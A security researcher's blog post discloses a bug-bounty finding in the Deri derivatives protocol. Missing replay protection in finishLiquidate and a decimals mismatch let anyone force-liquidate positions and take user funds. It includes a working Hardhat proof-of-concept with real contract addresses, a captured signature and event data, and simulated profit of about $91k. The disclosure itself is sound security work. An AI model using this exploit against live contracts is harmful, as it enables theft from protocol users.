# Ahhhh i'm liquidating!

By [riptide](https://paragraph.com/@riptide) · 2024-03-16

---

I recently discovered a critical vulnerability in \*\*[Deri](https://deri.io) \*\*which allows an attacker to forcefully liquidate a trader’s position and steal his precious computer coins from his margin vault.

Weaknesses: 1) signature replay 2) incorrect decimals

**Tell us more …**

**Deri** is a derivatives protocol deployed across zksync Era, Linea, Arbitrum, Polygon ZkEVM, and Scroll with a TVL of ~$3mm.

Users interact with the protocol by making a request to add/remove margin, trade, remove liquidity, etc. through the `Gateway` contract.

Our example focuses on when a user intends to remove some, or all, of his margin and calls `GatewayImplementation::requestRemoveMargin` which emits an event that is picked up by an agent, which validates and signs the request, then calls `GatewayImplementation::finishRemoveMargin` with the signed event data and accompanying signature to finalize the request and alter the user's position.

There are three "finishing" calls that are used to adjust the user's position: `finishRemoveMargin`, `finishUpdateLiquidity`, and `finishLiquidate`. Both `finishRemoveMargin` and `finishUpdateLiquidity` call an internal function `_checkRequestId` that checks and increments a nonce to prevent a replay attack utilizing the same signature and event data, but ...

**The Bug …**

... this check is missing from `finishLiquidate` since at the end of the execution flow it will revert if this position NFT had already been burned (which would happen on a successful liquidation).

What if a user called `requestRemoveMargin` and we used that same `eventData` and `signature` provided by the agent to call `finishLiquidate` to force liquidate the user with a previously signed request?

Important to note that the initial `requestLiquidate` function is protected and requires a whitelisted liquidator as the caller (which we are not, but we bypass this anyway by calling the `finishLiquidate` function directly).

The `finishLiquidate` function decodes the event data with the following struct:

    IGateway.VarOnExecuteLiquidate memory v = abi.decode(eventData, (IGateway.VarOnExecuteLiquidate));
    
    struct VarOnExecuteLiquidate {
    
    uint256 requestId;
    uint256 pTokenId;
    int256 cumulativePnlOnEngine;
    
    }
    

… whereas `finishRemoveMargin` decodes the event data as follows:

    IGateway.VarOnExecuteRemoveMargin memory v = abi.decode(eventData, (IGateway.VarOnExecuteRemoveMargin));
    
    struct VarOnExecuteRemoveMargin {
    
    uint256 requestId;
    uint256 pTokenId;
    uint256 requiredMargin;
    int256 cumulativePnlOnEngine;
    uint256 bAmountToRemove;
    
    }
    

Notice the mismatch?

The decoding process to the `VarOnExecuteLiquidate` struct will erroneously return the `uint256 requiredMargin` value as the `int256 cumulativePnlOnEngine` value which was supplied within `eventData` that was used by the initial `finishRemoveMargin` call made by the agent. Since this function already verified that the liquidation has been signed off on (since we provided valid signed event data and a signature), there are no checks and balances going forward other than ensuring that a liquidator only receives a `maxLiquidation` reward of `500 ETH` instead of `500 USDC`. Seems a bit large don’t you think? Always check your decimals anon …

Also note that now we have successfully modified the critical state variable of `data.lastCumulativePnlOnEngine` to be grossly inaccurate which immediately compromises the integrity of the protocol for all users. As an example, in the exploit simulation the variable changes from `-35169462977677968445139` to `15206304214539988627172`!

Bypassing the `maxLiquidationReward` ... on `L667 in GatewayImplementation::finishLiquidate` the diff is calculated as `int256 diff = v.cumulativePnlOnEngine.minusUnchecked(data.lastCumulativePnlOnEngine)` which equals `15206304214539988627172 - (-35169462977677968445139) = 50375767192217957072311` and then scales down to match the `USDC` collateral `bToken` of six decimals giving us `50375767192` or `50,375 USDC`.

**Note:** The correct calculation should actually be `-35169462977677968445139 - (-35169462977677968445139) = 0 USDC`.

The function then transfers all `bTokens` from an Aave vault into the `Gateway` contract and then calculates the (incorrect) total LP's PnL by liquidating this account `int256 lpPnl = b0AmountIn.utoi() + data.b0Amount` which gives us `133567538050 + 50375767192 = 183943305242` or `183,943 USDC` as `lpPnL`.

If/else at `L692` calculates the minimum of `((lpPnL - minLiquidationReward( * liquidationRewardCutRatio / 1e18 + minLiquidationReward), maxLiquidationReward)` which reduces and rescales our reward to `1e6` giving us `91083767663` or `$91k USDC` and promptly transfers this to `msg.sender`.

Additionally, on `L723` the function rescales the fake `lpPnL` to `e18` and adds it to the state variable `data.cumulativePnLOnGateway` with a value of `58577e18` to a new value of `242520e18` ... a 314% increase in PnL that doesn't exist! Not good.

**Damage**

Total user funds at risk across all chains I estimate at $500k to $1.5mm - not to mention collateral damage from the inconsistent state with the now incorrect `cumulativePnlOnEngine`. The max bounty for this project was low at $10k (which they later bumped to $20k) so it did not warrant further time on my end to conduct a full damage assessment.

PoC below demonstrates a forced $91k USDC liquidation on Arbitrum with all profits going to the attacker.

Peckshield takes the L …

**Pro tip:** Always get more than one audit.

0xriptide

    const { ethers } = require("hardhat");
    
    // 0xriptide - forced liquidator
    //
    // arbitrum forking at 184652290
    //
    // Severity: Critical
    //
    // Description:
    // Attacker can liquidate certain positions by reusing signatures and events leading to theft of user funds
    // also bypasses gated liquidator requirement
    //
    // Affects all chains where Deri v4 is deployed (zksync Era, linea, arbitrum, polygon ZkEVM, scroll)
    //
    // Exploit:
    // 1) Watch for offchain agent `0x01737317c960Bc5cC67E7D3f802ABF077e65559E` to call `finishRemoveMargin` on `gateway contract`
    // 2) Reuse provided `eventData` and `signature` to call `finishLiquidate` on `gateway`
    // 3) Profit
    //
    // Weakness:
    // 1) `gateway:L662` lacks the `_checkRequestId` check which allows re-use of signatures and eventData
    // 2) maxLiquidationReward scaled at 1e18 for 1e6 token
    //
    
    describe("PoC - Unauthorized liquidations", function () {
    
    
      it("big usdc liq 91k profit", async function () {
        const gateway = "0x7c4a640461427c310a710d367c2ba8c535a7ef81";
        const DPT = "0x3330664fE007463DDc859830b2D96380440C3a24";
        const aaveVault = "0x724dc807b04555b71ed48a6896b6F41593b8C637";
        const eventData = "0x000000000000000000000000000011960000000000000000000000000000003402000000000000000000a4b1000000000000000000000000000000000000001a00000000000000000000000000000000000000000000033855dcfcabe55feee4fffffffffffffffffffffffffffffffffffffffffffff88d75a7cd9a4cdd712d0000000000000000000000000000000000000000000000000000000005f5e100";
        const signature = "0x08a4d46c4a18a4d8fce7551f19bf1b9bda19a555009039a223bd91003b45d3cd4325f06ce14d57d285a2538a58fa5a96134292a5df3ca1cf5b435cfdbcd4e51e1b";
        const pTokenId = "904625697166532776746709938750905788301606140756549057766654088833765736474";
        const bToken = "0xaf88d065e77c8cC2239327C5EDb3A432268e5831"; //USDC
        const user = "0xcd384a71b666DE23A7A6380eDd8A2e88Bb5a5373";
    
        const [attacker] = await ethers.getSigners();
    
        const gatewayContract = await hre.ethers.getContractAt("IGateway", gateway);
        const DPTContract = await hre.ethers.getContractAt("IDToken", DPT);
        const bTokenContract = await hre.ethers.getContractAt("IERC20", bToken);
    
        console.log("Gateway State: ", await gatewayContract.getGatewayState());
    
        console.log("Td State: ", await gatewayContract.getTdState(pTokenId));
    
        var nft0 = await DPTContract.balanceOf(user);
        var user0 = await bTokenContract.balanceOf(user);
        var vault0 = await bTokenContract.balanceOf(aaveVault);
        var attacker0 = await bTokenContract.balanceOf(attacker.address);
    
        console.log("NFT balance of user: ", nft0);
        console.log("bToken balance of user: ", user0);
        console.log("bToken balance of aaveVault (aArbUSDCn): ", vault0);
        console.log("bToken balance of attacker: ", attacker0);
    
        console.log("forcing liquidation and burning position NFT...");
        await gatewayContract.finishLiquidate(eventData, signature);
    
        console.log("Gateway State: ", await gatewayContract.getGatewayState());
        console.log("Gateway Param: ", await gatewayContract.getGatewayParam());
    
        console.log("Td State: ", await gatewayContract.getTdState(pTokenId));
    
        var nft1 = await DPTContract.balanceOf(user);
        var user1 = await bTokenContract.balanceOf(user);
        var vault1 = await bTokenContract.balanceOf(aaveVault);
        var attacker1 = await bTokenContract.balanceOf(attacker.address);
    
        console.log("NFT balance of user: ", nft1);
        console.log("bToken balance of user: ", user1);
        console.log("bToken balance of aaveVault (aArbUSDCn): ", vault1);
        console.log("bToken balance of attacker: ", attacker1);
    
        console.log("*diffs*");
        console.log("\nNFT decrease by: ", nft0 - nft1);
        console.log("bToken balance of user change: ", user1 - user0);
        console.log("bToken balance of aaveVault (aArbUSDCn) change: ", vault1 - vault0);
        console.log("bToken balance of attacker change: ", attacker1 - attacker0);
        console.log("\nAttacker profit: $", ethers.utils.formatUnits(attacker1 - attacker0,6));
    
      });
    });

---

*Originally published on [riptide](https://paragraph.com/@riptide/ahhhh-i-m-liquidating)*
